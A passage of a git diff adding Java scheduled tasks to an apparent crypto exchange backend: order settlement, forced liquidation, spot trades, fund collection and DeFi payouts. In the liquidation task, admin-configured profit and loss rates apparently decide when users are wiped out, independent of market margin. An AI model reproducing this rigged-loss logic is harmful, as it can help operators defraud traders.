org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.util.List; + +@RequiredArgsConstructor +@Slf4j +@Component("collectionTask") +public class CollectionTask { + @Resource + TCollectionOrderMapper tCollectionOrderMapper; + public void queryCollectionStatus() { + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + // 1 进行中 2 归集成功 3 归集失败 + tCollectionOrder.setStatus("1"); + List tCollectionOrders = tCollectionOrderMapper.selectTCollectionOrderList(tCollectionOrder); + for (TCollectionOrder order: tCollectionOrders) { + String hash = order.getHash(); + if(order.getChain().equals("ETH")){ + // 0 成功 1失败 + String hashStatus = EthUtils.getHashStatus(hash); + if(hashStatus.equals("0")){ + order.setStatus("2"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } else if (hashStatus.equals("1")) { + order.setStatus("3"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } + }else{ + String hashStatus = TronUtils.getTransactionResult(hash); + if(hashStatus.equals("0")){ + order.setStatus("2"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } else if (hashStatus.equals("1")) { + order.setStatus("3"); + tCollectionOrderMapper.updateTCollectionOrder(order); + } + } + + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java new file mode 100644 index 0000000..51763d2 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java @@ -0,0 +1,175 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import jnr.ffi.annotations.In; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.concurrent.ThreadLocalRandom; + + +/** + * U本位委托订单结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("contractOrderTask") +public class ContractOrderTask { + + @Resource + private ITContractOrderService contractOrderService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + @Resource + private ITAppUserService appUserService; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + public void settMent() { + try { + List list = contractOrderService.list( + new LambdaQueryWrapper() + .eq(TContractOrder::getStatus, ContractOrderStatusEmun.DEAL.getCode())); + for (TContractOrder order : list) { + settlement(order); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + private void settlement(TContractOrder order) { + try { + + TAppUser appUser = appUserService.getById(order.getUserId()); + String symbol = order.getSymbol(); + //委托量 + BigDecimal delegateTotal = order.getDelegateTotal(); + + BigDecimal delegatePrice = order.getDelegatePrice(); + //杠杆 + BigDecimal level = order.getLeverage(); + + Integer type = order.getType(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + + TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + + if (comparePrice(type, currentlyPrice, delegatePrice)) { + // usdt 成交 总资产-成交额 占用-成交额 被买入的币 总资产 +成交量-(成交量*手续费率) 可用资产+成交量-(成交量*手续费率) + //实际成交额 + BigDecimal dealValue = ContractComputerUtil.getAmount(currentlyPrice, delegateTotal, level); + order.setStatus(1); + order.setDealNum(delegateTotal); + order.setDealPrice(currentlyPrice); + order.setDealValue(dealValue); + order.setDealTime(new Date()); + + BigDecimal fee = dealValue.multiply(contractCoin.getOpenFee()).setScale(6, RoundingMode.HALF_UP); + order.setFee(fee); + contractOrderService.updateTContractOrder(order); + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(level, type, currentlyPrice, delegateTotal, dealValue, fee); + createPosition(symbol, currentlyPrice, closePrice, dealValue, delegateTotal, level, type, order.getDelegateType(), fee, order.getUserId(), order.getOrderNo(),0); + // 1.1 查看用户usdt资产 + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(order.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + //usdt 变动 + BigDecimal amout = tAppAsset.getAmout(); + tAppAsset.setAmout(amout.subtract(dealValue)); + tAppAsset.setOccupiedAmount(tAppAsset.getOccupiedAmount().subtract(order.getDelegateValue())); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(order.getDelegateValue().subtract(dealValue))); + assetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(order.getUserId(), dealValue, RecordEnum.CONTRACT_TRANSACTIONSUB.getCode(), null, order.getOrderNo(), "合约交易-", amout, amout.subtract(dealValue), contractCoin.getBaseCoin().toLowerCase(),appUser.getAdminParentIds()); + + //u本位打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getContractIsOpen()) && addMosaic.getContractIsOpen()){ + appUser.setTotleAmont(appUser.getTotleAmont().add(order.getDelegateValue())); + appUserService.updateTotleAmont(appUser); + } + } + + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于大于当前价 + if (delegatePrice.compareTo(currentlyPrice) >= 0) { + return true; + } + } else { + //限价小于等于当前价 + if (delegatePrice.compareTo(currentlyPrice) <= 0) { + return true; + } + } + return false; + } + + //创建仓位对象 + private TContractPosition createPosition(String symbol, BigDecimal openPrice, BigDecimal closePrice, BigDecimal amount, BigDecimal num, BigDecimal level, Integer type, Integer delegateType, BigDecimal openFee, Long uerId, String serialId, Integer deliveryDays) { + TContractPosition tContractPosition = new TContractPosition(); + BigDecimal bigDecimal = amount.subtract(openFee); + tContractPosition.setSymbol(symbol); + tContractPosition.setAmount(bigDecimal); + tContractPosition.setAdjustAmount(bigDecimal); + tContractPosition.setLeverage(level); + tContractPosition.setClosePrice(closePrice); + tContractPosition.setOpenNum(num); + tContractPosition.setOpenPrice(openPrice); + tContractPosition.setOpenFee(openFee); + tContractPosition.setStatus(0); + tContractPosition.setType(type); + tContractPosition.setDelegateType(delegateType); + tContractPosition.setCreateTime(new Date()); + tContractPosition.setRemainMargin(bigDecimal); + tContractPosition.setOrderNo(serialId); + tContractPosition.setUserId(uerId); + tContractPosition.setEntrustmentValue(num.multiply(openPrice).setScale(6,RoundingMode.HALF_UP)); + tContractPosition.setDeliveryDays(0); + tContractPosition.setSubTime(new Date()); + contractPositionService.save(tContractPosition); + return tContractPosition; + } + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java new file mode 100644 index 0000000..3e3b306 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java @@ -0,0 +1,240 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.CollectionUtils; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.ContractOrderStatusEmun; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + + +/** + * U本位强制平仓结算 + */ +@RequiredArgsConstructor +@Slf4j +@Component("contractPositionTask") +public class ContractPositionTask { + + + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITContractPositionService contractPositionService; + @Resource + private ITContractLossService contractLossService; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + public void settPosition() { + try { + List list = contractPositionService.list( + new LambdaQueryWrapper() + .eq(TContractPosition::getStatus, ContractOrderStatusEmun.DEAL.getCode())); + for (TContractPosition order : list) { + settlement(order); + } + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void settlement(TContractPosition contractPosition) { + try { + Integer type = contractPosition.getType(); + BigDecimal closePrice = contractPosition.getClosePrice(); + String symbol = contractPosition.getSymbol(); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + //强平 不扣手续费 + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symbol); + if("ok".equals(checkProfit(tContractCoin))) { + if (comparePrice(type, currentlyPrice, closePrice)) { + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(BigDecimal.ZERO); + updatePositoinStop(contractPosition); + } + }else{ + BigDecimal sub= ContractComputerUtil.getRate(contractPosition.getOpenPrice(),currentlyPrice,type); + if(sub.compareTo(BigDecimal.ZERO)<0) { + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + + BigDecimal sellFee = contractPosition.getAdjustAmount().multiply(contractPosition.getSellFee()).multiply(contractPosition.getOpenNum()).setScale(4, RoundingMode.HALF_UP); + + BigDecimal earn = sub.multiply(profitLoss).multiply(contractPosition.getOpenNum()).multiply(contractPosition.getLeverage()).divide(floatProit, 4, RoundingMode.DOWN); + + BigDecimal money = earn.add(contractPosition.getAdjustAmount()); + if(money.compareTo(BigDecimal.ZERO)<=0){ + contractPosition.setEarn(earn); + contractPosition.setSellFee(BigDecimal.ZERO); + contractPosition.setDealPrice(currentlyPrice); + updateProfitStop(contractPosition); + } + } + } + TContractLoss contractLoss = new TContractLoss(); + contractLoss.setStatus(0); + contractLoss.setPositionId(contractPosition.getId()); + List list = contractLossService.selectTContractLossList(contractLoss); + if (CollectionUtils.isNotEmpty(list)) { + + for (TContractLoss contractLoss1 : list) { + BigDecimal earnPrice = contractLoss1.getEarnPrice(); + BigDecimal losePrice = contractLoss1.getLosePrice(); + BigDecimal earnDelegatePrice = contractLoss1.getEarnDelegatePrice(); + BigDecimal loseDelegatePrice = contractLoss1.getLoseDelegatePrice(); + Integer deleGateType = contractLoss1.getDelegateType(); + if (deleGateType == 1) { + earnDelegatePrice = currentlyPrice; + loseDelegatePrice = currentlyPrice; + } + if (type == 0) { + if (earnPrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(earnPrice) >= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(earnDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + if (losePrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(losePrice) <= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(loseDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + } else if (type == 1) { + // 19100 止损 19200 止盈 19000 开空 18999 + if (earnPrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(earnPrice) <= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(earnDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + if (losePrice.compareTo(BigDecimal.ZERO) > 0 && currentlyPrice.compareTo(losePrice) >= 0) { + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(tContractCoin.getCloseFee()).setScale(4, RoundingMode.HALF_UP)); + contractPosition.setDealPrice(loseDelegatePrice); + updatePositoinStop(contractPosition); + break; + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + //强平 + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal closePrice) { + //买多 + if (0 == type) { + if (currentlyPrice.compareTo(closePrice) <= 0) { + return true; + } + } else { + if(closePrice.compareTo(BigDecimal.ZERO)==0){ + return false; + } + if (currentlyPrice.compareTo(closePrice) >= 0) { + return true; + } + } + return false; + } + + private void updatePositoinStop(TContractPosition contractPosition) { + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + // TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + BigDecimal amount = contractPosition.getAdjustAmount(); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), contractPosition.getDealPrice(), contractPosition.getType()); + contractPosition.setStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + BigDecimal money = amount.add(earn); + contractPosition.setEarn(earn); + contractPositionService.updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amout = tAppAsset.getAmout(); + BigDecimal add = amout.add(money).subtract(contractPosition.getSellFee()); + if(add.compareTo(BigDecimal.ZERO)<1){ + add = BigDecimal.ZERO; + } + tAppAsset.setAmout(add); + tAppAsset.setAvailableAmount(add); + assetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易强平", amout, add, "usdt",appUser.getAdminParentIds()); + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } + + public String checkProfit(TContractCoin tContractCoin) { + String result = "ok"; + //止盈率 + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + if (floatProit.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (profitLoss.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } + + + private void updateProfitStop(TContractPosition contractPosition) { + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + TAppAsset tAppAsset = assetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amout = tAppAsset.getAmout(); + // TContractCoin contractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + contractPosition.setStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + contractPositionService.updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + appWalletRecordService.generateRecord(contractPosition.getUserId(), BigDecimal.ZERO, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易强平", amout, amout, "usdt",appUser.getAdminParentIds()); + HashMap object = new HashMap<>(); + object.put("settlement","2"); + redisUtil.addStream(redisStreamNames,object); + } +} + + diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java new file mode 100644 index 0000000..11c8d84 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java @@ -0,0 +1,218 @@ +package com.ruoyi.quartz.task; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.socketserver.WebSocketCoinOver; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Component; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +@RequiredArgsConstructor +@Slf4j +@Component("currencyOrderTask") +public class CurrencyOrderTask { + + @Resource + + private ITCurrencyOrderService tCurrencyOrderService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private RedisCache redisCache; + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private WebSocketCoinOver webSocketCoinOver; + @Resource + private SettingService settingService; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + @Async("myTaskAsyncPool") + public void currencyOrderSettlement(){ + TCurrencyOrder searchCurrencyOrder = new TCurrencyOrder(); + searchCurrencyOrder.setDelegateType(0); + searchCurrencyOrder.setStatus(0); + //订单key + String key = CachePrefix.REDIS_KEY_CURRENCY_ORDER.getPrefix(); + //加锁 + if(redisCache.hasKey(key)){ + return; + } + List list = tCurrencyOrderService.selectTCurrencyOrderList(searchCurrencyOrder); + if (!CollectionUtils.isEmpty(list)){ + boolean b1 = redisCache.tryLock(key, "1",50000); + if(!b1){ + return; + } + try { + for (TCurrencyOrder tCurrencyOrder:list) { + TAppUser user = tAppUserService.getById(tCurrencyOrder.getUserId()); + String symbol = tCurrencyOrder.getSymbol(); + String coin = tCurrencyOrder.getCoin(); + TCurrencySymbol currencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol).eq(TCurrencySymbol::getBaseCoin, coin).eq(TCurrencySymbol::getEnable, "1")); + if(Objects.isNull(currencySymbol)){ + redisCache.deleteObject(key); + continue; + } + + BigDecimal symolSettle = tCurrencyOrder.getSymbol().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getSymbol()); + BigDecimal coinSettle = tCurrencyOrder.getCoin().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getCoin()); + BigDecimal settlePrice = symolSettle.divide(coinSettle,8, RoundingMode.DOWN); + + //校验 + String result = tCurrencyOrderService.checkOrder(tCurrencyOrder,currencySymbol,settlePrice); + if (!result.equals("success")){ + redisCache.deleteObject(key); + continue; + } +// Integer symbolPrecision = currencySymbol.getCoinPrecision()==null?0:currencySymbol.getCoinPrecision(); +// Integer coinPrecision = currencySymbol.getBasePrecision()==null?0:currencySymbol.getBasePrecision(); + Long userId = user.getUserId(); + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin())); + //判断是否需要创建资产账户 + if (Objects.isNull(tAppAsset)){ + tAppAssetService.createAsset(user,tCurrencyOrder.getCoin(),AssetEnum.PLATFORM_ASSETS.getCode()); + } + //查询交易币种资产 + TAppAsset addAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //查询结算币种资产 + TAppAsset subtractAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //委托价格 + BigDecimal delegatePrice = tCurrencyOrder.getDelegatePrice(); + //委托总量 + BigDecimal delegateTotal = tCurrencyOrder.getDelegateTotal(); + //手续费率 + BigDecimal ratio = currencySymbol.getFeeRate().divide(new BigDecimal("100")); + //手续费 + BigDecimal fee=BigDecimal.ZERO; + //成交量 + BigDecimal dealNum =BigDecimal.ZERO; + //增加资产 + BigDecimal addPrice=BigDecimal.ZERO; + // 扣减资产 + BigDecimal subtractPrice=BigDecimal.ZERO ; + //成交总量 + if (tCurrencyOrderService.checkPrice(tCurrencyOrder.getType(),settlePrice,delegatePrice)){ + if (tCurrencyOrder.getType()==0){ + dealNum=delegateTotal; + subtractPrice = settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN); + tCurrencyOrder.setDealNum(dealNum); + tCurrencyOrder.setDealValue(subtractPrice); + fee=dealNum.multiply(ratio); + addPrice=dealNum.subtract(fee); + }else { + dealNum=settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN); + subtractPrice = delegateTotal; + tCurrencyOrder.setDealNum(subtractPrice); + tCurrencyOrder.setDealValue(dealNum); + fee=dealNum.multiply(ratio); + addPrice=dealNum.subtract(fee); + } + tCurrencyOrder.setDealPrice(settlePrice); + tCurrencyOrder.setFee(fee); + settlementOccupiedCurrencyOrder(tCurrencyOrder,symbol,coin,userId,subtractPrice,addPrice,subtractAsset,addAsset,tCurrencyOrder.getType()); + } + } + }catch (Exception e){ + e.printStackTrace(); + }finally { + redisCache.deleteObject(key); + } + } + } + + /** + * 结算冻结资产 增加对应币种 入账变 + * + * @param tCurrencyOrder + * @param symbol + * @param coin + * @param userId + * @param subtractPrice + * @param addPrice + * @param subtractAsset + * @param addAsset + * @param type + */ + @Transactional + public void settlementOccupiedCurrencyOrder(TCurrencyOrder tCurrencyOrder, String symbol, String coin, Long userId, BigDecimal subtractPrice, BigDecimal addPrice, TAppAsset subtractAsset, TAppAsset addAsset, Integer type){ + TAppUser appUser = tAppUserService.getById(userId); + TAppAsset asset = new TAppAsset(); + if(0!=tCurrencyOrder.getType()){ + String temp=coin; + coin=symbol; + symbol=temp; + asset=addAsset; + addAsset=subtractAsset; + subtractAsset=asset; + } + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setDealTime(DateUtils.getNowDate()); + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + tCurrencyOrder.setStatus(1); + + BigDecimal subtract = subtractAsset.getOccupiedAmount().subtract(subtractPrice); + tCurrencyOrderService.updateTCurrencyOrder(tCurrencyOrder); + tAppAssetService.settlementOccupiedCurrencyOrder(userId, coin,subtractPrice,subtract); + tAppAssetService.addAssetByUserId(userId, symbol, addPrice); + appWalletRecordService.generateRecord(userId, subtractPrice, RecordEnum.CURRENCY_TRADINGSUB.getCode(), null, tCurrencyOrder.getOrderNo(), RecordEnum.CURRENCY_TRADINGSUB.getInfo(), subtractAsset.getAmout(), subtractAsset.getAmout().subtract(subtractPrice), coin,appUser.getAdminParentIds()); + appWalletRecordService.generateRecord(userId, addPrice, RecordEnum.CURRENCY_TRADINGADD.getCode(), null, tCurrencyOrder.getOrderNo(), RecordEnum.CURRENCY_TRADINGADD.getInfo(), addAsset.getAmout(), addAsset.getAmout().add(addPrice),symbol,appUser.getAdminParentIds()); + + //币币打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getCurrencyIsOpen()) && addMosaic.getCurrencyIsOpen()){ + BigDecimal price = BigDecimal.ONE; + try { + if (!coin.equals("usdt")){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice.multiply(price))); + }else{ + appUser.setTotleAmont(appUser.getTotleAmont().add(subtractPrice)); + } + tAppUserService.updateTotleAmont(appUser); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + HashMap object = new HashMap<>(); + object.put("settlement","1"); + redisUtil.addStream(redisStreamNames,object); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java new file mode 100644 index 0000000..3210ee9 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java @@ -0,0 +1,85 @@ +package com.ruoyi.quartz.task; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +@RequiredArgsConstructor +@Slf4j +@Component("defiRateTask") +public class DefiRateTask { + @Resource + ITAppUserService userService; + @Resource + ITAppAddressInfoService appAddressInfoService; + @Resource + IDefiRateService defiRateService; + @Resource + IDefiOrderService defiOrderService; + @Resource + RedisCache redisCache; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Autowired + private ITAppAssetService appAssetService; + public void userDefiOrder() { + List allowedUser = appAddressInfoService.getAllowedUser(); + for (TAppAddressInfo appAddressInfo:allowedUser ) { + try { + BigDecimal usdt = appAddressInfo.getUsdt(); + //获取利率 + List defiRateByAmount = defiRateService.getDefiRateByAmount(usdt); + if(defiRateByAmount.size()>0&&usdt.compareTo(BigDecimal.ZERO)>0){ + //获取用户 + TAppUser tAppUser = userService.selectTAppUserByUserId(appAddressInfo.getUserId()); + //获取ETH汇率 + BigDecimal ethPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "eth"); + //防止用户配置错误 这里取了第一个 + DefiRate defiRate = defiRateByAmount.get(0); + //算出返的Usdt + BigDecimal rateAmount = usdt.multiply(defiRate.getRate()); + //算出eth + BigDecimal ethAmount = rateAmount.divide(ethPrice, 6, RoundingMode.HALF_DOWN); + //构建defi订单表。 + DefiOrder defiOrder = new DefiOrder(); + defiOrder.setRate(defiRate.getRate()); + defiOrder.setAmount(ethAmount); + defiOrder.setTotleAmount(usdt); + defiOrder.setUserId(appAddressInfo.getUserId()); + defiOrder.setCreateTime(new Date()); + //插入 + defiOrderService.insertDefiOrder(defiOrder); + //获取资产表 + TAppAsset appAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, appAddressInfo.getUserId()).eq(TAppAsset::getSymbol, "eth").eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //账变 + if(Objects.isNull(appAsset)) { + log.error(appAddressInfo.getUserId()+"资产异常"); + continue; + } + appWalletRecordService.generateRecord(appAddressInfo.getUserId(), ethAmount, RecordEnum.DEFI_ORDER.getCode(), "", "", "defi质押", appAsset.getAmout(), appAsset.getAmout().add(ethAmount), "eth",tAppUser.getAdminParentIds()); + //更新eth资产 + appAsset.setAmout(appAsset.getAmout().add(ethAmount)); + 